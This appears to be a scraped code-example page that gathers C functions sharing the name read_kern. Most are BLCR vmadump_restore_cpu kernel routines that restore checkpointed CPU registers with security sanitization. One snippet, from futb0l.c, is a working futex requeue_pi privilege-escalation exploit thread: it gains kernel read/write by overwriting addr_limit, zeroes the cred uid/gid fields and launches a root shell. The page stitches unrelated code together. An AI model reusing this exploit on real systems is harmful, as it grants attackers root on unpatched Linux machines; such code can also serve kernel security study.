Esempio n. 1
0
int vmadump_restore_cpu(struct vmadump_map_ctx *ctx, struct file *file,
			struct pt_regs *regs) {
    struct pt_regs regtmp;
    struct switch_stack *ss, sstmp;
    unsigned long usp;
    int r;

    r = read_kern(ctx, file, &regtmp, sizeof(regtmp));
    if (r != sizeof(regtmp)) goto bad_read;

    /* Read extra reg info for alpha */
    ss = ((struct switch_stack *)regs)-1;
    r = read_kern(ctx, file, &sstmp, sizeof(sstmp));
    if (r != sizeof(sstmp)) goto bad_read;
    r = read_kern(ctx, file, &usp, sizeof(usp));
    if (r != sizeof(usp)) goto bad_read;

    /* These are the tid-bits we don't want to restore */
    regtmp.ps  = 8;		/* Processor status 8 = user space */
    regtmp.hae = regs->hae;	/* XXX What is this reg? */
    sstmp.r26  = ss->r26;	/* Not actually the user r26(ra). That
				 * one is in struct pt_regs. */
    /* Ok, do restore */
    memcpy(regs, &regtmp, sizeof(regtmp));
    memcpy(ss, &sstmp, sizeof(sstmp)); /* Restores FP regs + saved regs */
    wrusp(usp);
    return 0;

 bad_read:
    if (r >= 0) r = -EIO;
    return r;
}
Esempio n. 2
0
File: futb0l.c Progetto: c3c/futb0l
void *ger(void *arg){
	int sem_id;
	void *task_struct,*cred;
	char buf[256];
	const char new_addr_limit[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
	const char new_egideuid[] = {0,0,0,0};
	printf("ger thread\n");

	int fd = open("/dev/null", O_RDWR);

	setpriority(PRIO_PROCESS , 0, *(int*)arg);
	
	if ((sem_id = semget(IPC_PRIVATE,(WAITER_OVERWRITE_SIZE+WAITER_OVERWRITE_OFFSET)/2,IPC_CREAT | 0660)) < 0){
       		perror("semget");
	}

	// don't call anything else to prevent tainting rt_waiter
	futex_wait_requeue_pi(&srcfutex, 0, &destfutex, NULL, 0);	
   	semctl(sem_id,-1,SETALL,sem_values);
	while(!proceed_to_overwrite);
	proceed_to_overwrite = 0;
   	semctl(sem_id,-1,SETALL,sem_values);
	while(!proceed_to_overwrite);
	proceed_to_overwrite = 0;


	while(write(fd, (void*)(tbase+24), 8) < 0){ printf("no kernel r/w\n"); sleep(1); }
	printf("has kernel r/w!\n");
	write_kern((void*)(tbase+32), (void *)&new_addr_limit, 8);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); // dummy call to trigger breakpoint
	read_kern((void*)(tbase), (void *)&task_struct, 8);
	printf("task_struct: %p\n",task_struct);
	read_kern((void *)(task_struct+0x598), (void*)&cred, 8);
	printf("cred: %p\n",cred);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); 
	write_kern((void *)(cred+20), (void*)&new_egideuid, 4);
	write_kern((void *)(cred+24), (void*)&new_egideuid, 4);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); 

	if(geteuid() != 0) printf("not root :(\n");
	sprintf(buf,"sh -c \"echo success %d > offset.txt && chmod 777 offset.txt && sh \"",WAITER_OVERWRITE_OFFSET);
	system(buf);
	
	printf("ger function exiting\n");
	return NULL;
	
}
int vmadump_restore_cpu(cr_rstrt_proc_req_t *ctx, struct file *file,
                        struct pt_regs *regs) {
    struct pt_regs regtmp;
    int r;

    r = read_kern(ctx, file, &regtmp, sizeof(regtmp));
    if (r != sizeof(regtmp)) goto bad_read;

    /* Don't restore machine state register since this is
     * unpriviledged user space stuff we're restoring. */
    if (regtmp.msr & MSR_SF) {
        regtmp.msr = MSR_USER64;
        clear_thread_flag(TIF_32BIT);
    } else {
        regtmp.msr = MSR_USER32;
        set_thread_flag(TIF_32BIT);
    }
    memcpy(regs, &regtmp, sizeof(regtmp));

    /* Floating point regs */
    r = read_kern(ctx, file, &current->thread.fpr,
                  sizeof(current->thread.fpr));
    if (r != sizeof(current->thread.fpr)) goto bad_read;

    r = read_kern(ctx, file, &current->thread.fpscr,
                  sizeof(current->thread.fpscr));
    if (r != sizeof(current->thread.fpscr)) goto bad_read;

#if HAVE_THREAD_VDSO_BASE
    /* unconditonally restore this */
    r = read_kern(ctx, file, &current->thread.vdso_base,
                  sizeof(current->thread.vdso_base));
    if (r != sizeof(current->thread.vdso_base)) goto bad_read;
#endif

#ifdef CONFIG_ALTIVEC
    /* Restore Altivec */
    r = read_kern(ctx, file, &current->thread.vr,
                  sizeof(current->thread.vr));
    if (r != sizeof(current->thread.vr)) goto bad_read;

    r = read_kern(ctx, file, &current->thread.vscr,
                  sizeof(current->thread.vscr));
    if (r != sizeof(current->thread.vscr)) goto bad_read;
#endif

    current->thread.regs = regs;
    return 0;

bad_read:
    if (r >= 0) r = -EIO;
    return r;
}
int vmadump_restore_cpu(cr_rstrt_proc_req_t *ctx, struct file *file,
			struct pt_regs *regs) {
    struct vmadump_restore_tmps *x86tmps;
    struct thread_struct *threadtmp;
    struct pt_regs *regtmp;
    int r;
    int idx, i, cpu;
    uint16_t fsindex, gsindex;
#if HAVE_STRUCT_N_DESC_STRUCT
    struct n_desc_struct tls_array[GDT_ENTRY_TLS_ENTRIES];
#else
    struct desc_struct tls_array[GDT_ENTRY_TLS_ENTRIES];
#endif

    /* XXX: Note allocation assumes i387tmp and threadtmp are never active at the same time */
    x86tmps = kmalloc(sizeof(*x86tmps), GFP_KERNEL);
    if (!x86tmps) return -ENOMEM;
    regtmp = VMAD_REGTMP(x86tmps);
    threadtmp = VMAD_THREADTMP(x86tmps);

    r = read_kern(ctx, file, regtmp, sizeof(*regtmp));
    if (r != sizeof(*regtmp)) goto bad_read;

    /* Don't let the user pick funky segments */
    if ((regtmp->cs != __USER_CS && regtmp->cs != __USER32_CS) &&
	(regtmp->ss != __USER_DS && regtmp->ss != __USER32_DS)) {
	r = -EINVAL;
	goto bad_read;
    }

    /* Set our process type */
    if (regtmp->cs == __USER32_CS)
	set_thread_flag(TIF_IA32);
    else
	clear_thread_flag(TIF_IA32);	

    /* Only restore bottom 9 bits of eflags.  Restoring anything else
     * is bad bad mojo for security. (0x200 = interrupt enable) */
#if HAVE_PT_REGS_EFLAGS
    regtmp->eflags = 0x200 | (regtmp->eflags & 0x000000FF);
#elif HAVE_PT_REGS_FLAGS
    regtmp->flags = 0x200 | (regtmp->flags & 0x000000FF);
#else
    #error
#endif
    memcpy(regs, regtmp, sizeof(*regtmp));

    /* Restore FPU info (and later general "extended state") */
    r = vmadump_restore_i387(ctx, file, VMAD_I387TMP(x86tmps));
    if (r < 0) goto bad_read;
	
    /* XXX FIX ME: RESTORE DEBUG INFORMATION ?? */
    /* Here we read it but ignore it. */
    r = vmadump_restore_debugreg(ctx, file);
    if (r < 0) goto bad_read;

    /* user(r)sp, since we don't use the ptrace entry path in BLCR */
#if HAVE_THREAD_USERSP
    r = read_kern(ctx, file, &threadtmp->usersp, sizeof(threadtmp->usersp));
    if (r != sizeof(threadtmp->usersp)) goto bad_read;
    current->thread.usersp = threadtmp->usersp;
    vmad_write_oldrsp(threadtmp->usersp);
#elif HAVE_THREAD_USERRSP
    r = read_kern(ctx, file, &threadtmp->userrsp, sizeof(threadtmp->userrsp));
    if (r != sizeof(threadtmp->userrsp)) goto bad_read;
    current->thread.userrsp = threadtmp->userrsp;
    vmad_write_oldrsp(threadtmp->userrsp);
#else
    #error
#endif

    /*-- restore segmentation related stuff */

    /* Restore FS_BASE MSR */
    r = read_kern(ctx, file, &threadtmp->fs, sizeof(threadtmp->fs));
    if (r != sizeof(threadtmp->fs)) goto bad_read;
    if (threadtmp->fs >= TASK_SIZE) {
	r = -EINVAL;
	goto bad_read;
    }
    current->thread.fs = threadtmp->fs;
    if ((r = checking_wrmsrl(MSR_FS_BASE, threadtmp->fs)))
	goto bad_read;
	
    /* Restore GS_KERNEL_BASE MSR */
    r = read_kern(ctx, file, &threadtmp->gs, sizeof(threadtmp->gs));
    if (r != sizeof(threadtmp->gs)) goto bad_read;
    if (threadtmp->gs >= TASK_SIZE) {
	r = -EINVAL;
	goto bad_read;
    }
    current->thread.gs = threadtmp->gs;
    if ((r = checking_wrmsrl(MSR_KERNEL_GS_BASE, threadtmp->gs)))
	goto bad_read;

    /* Restore 32 bit segment stuff */
    r = read_kern(ctx, file, &fsindex, sizeof(fsindex));
    if (r != sizeof(fsindex)) goto bad_read;

    r = read_kern(ctx, file, &gsindex, sizeof(gsindex));
    if (r != sizeof(gsindex)) goto bad_read;

    r = read_kern(ctx, file, tls_array, sizeof(tls_array));
    if (r != sizeof(tls_array)) goto bad_read;

    /* Sanitize fs, gs.  These segment descriptors should load one
     * of the TLS entries and have DPL = 3.  If somebody is doing
     * some other LDT monkey business, I'm currently not
     * supporting that here.  Also, I'm presuming that the offsets
     * to the GDT_ENTRY_TLS_MIN is the same in both kernels. */
    idx = fsindex >> 3;
    if (idx<GDT_ENTRY_TLS_MIN || idx>GDT_ENTRY_TLS_MAX || (fsindex&7) != 3)
	fsindex = 0;
    idx = gsindex >> 3;
    if (idx<GDT_ENTRY_TLS_MIN || idx>GDT_ENTRY_TLS_MAX || (gsindex&7) != 3)
	gsindex = 0;

    /* Sanitize the TLS entries...
     * Make sure the following bits are set/not set:
     *  bit 12   : S    =  1    (code/data - not system)
     *  bit 13-14: DPL  = 11    (priv level = 3 (user))
     *  bit 21   :      =  0    (reserved)
     *
     * If the entry isn't valid, zero the whole descriptor.
     */
    for (i=0; i < GDT_ENTRY_TLS_ENTRIES; i++) {
	if (tls_array[i].b != 0 && 
	    (tls_array[i].b & 0x00207000) != 0x00007000) {
	    r = -EINVAL;
	    goto bad_read;
	}
    }

    /* Ok load this crap */
    cpu = get_cpu();	/* load_TLS can't get pre-empted. */
    memcpy(current->thread.tls_array, tls_array,
	   sizeof(current->thread.tls_array));
    current->thread.fsindex = fsindex;
    current->thread.gsindex = gsindex;
    load_TLS(&current->thread, cpu);

    loadsegment(fs, current->thread.fsindex);
    load_gs_index(current->thread.gsindex);
    put_cpu();

    /* In case cr_restart and child don't have same ABI */
    if (regtmp->cs == __USER32_CS) {
	loadsegment(ds, __USER32_DS);
	loadsegment(es, __USER32_DS);
    } else {
	loadsegment(ds, __USER_DS);
	loadsegment(es, __USER_DS);
    }

#if HAVE_THREAD_INFO_SYSENTER_RETURN
    {
	void *sysenter_return;
	r = read_kern(ctx, file, &sysenter_return, sizeof(sysenter_return));
	if (r != sizeof(sysenter_return)) goto bad_read;
	current_thread_info()->sysenter_return = sysenter_return;
    }
#endif
    
    kfree(x86tmps);
    return 0;

 bad_read:
    kfree(x86tmps);
    if (r >= 0) r = -EIO;
    return r;
}